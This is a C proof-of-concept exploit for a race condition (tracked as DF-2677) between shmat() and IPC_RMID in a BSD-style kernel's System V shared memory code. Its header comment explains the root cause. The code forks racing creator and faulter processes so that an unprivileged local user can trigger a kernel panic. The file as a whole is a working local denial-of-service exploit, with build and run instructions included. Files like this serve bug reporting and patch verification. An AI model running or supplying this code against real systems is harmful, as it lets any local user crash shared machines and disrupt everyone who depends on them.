DF-2677 / shm_rmid_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 | /* * DF-2677 proof-of-concept: SysV shmat() vs IPC_RMID TOCTOU in * sys/kern/sysv_shm.c -> object ref leak -> vm_object_terminate2 panic * (kernel panic / unprivileged local DoS). * * Root cause: sys_shmat() holds shm_token, then blocks in * vm_object_hold(shm_object) (LWKT tokens are dropped while blocked). * While blocked, sys_shmctl(IPC_RMID) on another CPU holds shm_token, * sees shm_nattch == 0 (shmat increments nattch only at the very END, * sysv_shm.c), and calls shm_deallocate_segment() -> vm_object_deallocate() * -> vm_object_terminate(). shmat resumes, does vm_object_reference_locked() * on the OBJ_DEAD object and maps it; terminate wakes up, sees * ref_count == 1 and panics: * * panic: vm_object_terminate2: object with references, ref_count=1 * * The blocking window in shmat is widened by contention on the object's * token (faulters hammering the segment). With kern.ipc.shm_use_phys >= 2 * the kernel's own pre-allocation loop widens the window massively; with * the default (=1) enough faulting threads still open it. * * Trigger: unprivileged local users (creator + faulter processes). * No root setup needed for the default-config variant. * * Build: cc -O2 -Wall -o shm_rmid_race shm_rmid_race.c * Run: ./shm_rmid_race [iters=20000] */ #include <sys/types.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/signal.h> #include <sys/stat.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <errno.h> #define TOKFILE "/tmp/.df2677_tok" #define SEGSZ (8UL * 1024 * 1024) #define NFAULT 8 static int iters = 20000; static int nfault = NFAULT; static volatile sig_atomic_t stop; static key_t makekey(int i) { return ftok(TOKFILE, 33 + (i % 220)); } /* * Creator: create segment, let faulters attach/race, RMID it while the * faulters are still swarming (this is the v1 pattern that panicked). */ static void creator(void) { int i, shmid, old; for (i = 0; i < iters && !stop; i++) { key_t key = makekey(i); shmid = shmget(key, SEGSZ, IPC_CREAT | IPC_EXCL | 0666); if (shmid < 0) { if (errno == EEXIST) { old = shmget(key, 0, 0); if (old >= 0) shmctl(old, IPC_RMID, NULL); } usleep(100); continue; } /* faulters swarm the segment while it is live; then RMID * races their in-flight shmat() */ usleep(1500); shmctl(shmid, IPC_RMID, NULL); } } static void faulter(int seed) { int i, pass, shmid, tries; char *p; unsigned long off; for (i = 0; i < iters && !stop; i++) { key_t key = makekey(i); shmid = -1; for (tries = 0; tries < 3000; tries++) { shmid = shmget(key, 0, 0); if (shmid >= 0) break; usleep(30); } if (shmid < 0) continue; for (pass = 0; pass < 2 && !stop; pass++) { p = shmat(shmid, NULL, 0); if (p == (void *)-1) break; for (off = ((unsigned long)seed * 4096) % SEGSZ; off < SEGSZ; off += 4096) p[off] = (char)1; shmdt(p); } } } int main(int argc, char **argv) { int i; pid_t pid; FILE *f; if (argc > 1) iters = atoi(argv[1]); if (argc > 2) nfault = atoi(argv[2]); f = fopen(TOKFILE, "w"); if (f) { fclose(f); chmod(TOKFILE, 0666); } setvbuf(stdout, NULL, _IONBF, 0); printf("DF-2677: racing shmat() vs IPC_RMID (default config)\n"); for (i = 0; i < nfault; i++) { pid = fork(); if (pid == 0) { faulter(i + 1); _exit(0); } } creator(); stop = 1; usleep(50000); while (waitpid(-1, NULL, WNOHANG) > 0) ; printf("DF-2677: round complete, no panic\n"); return 0; } |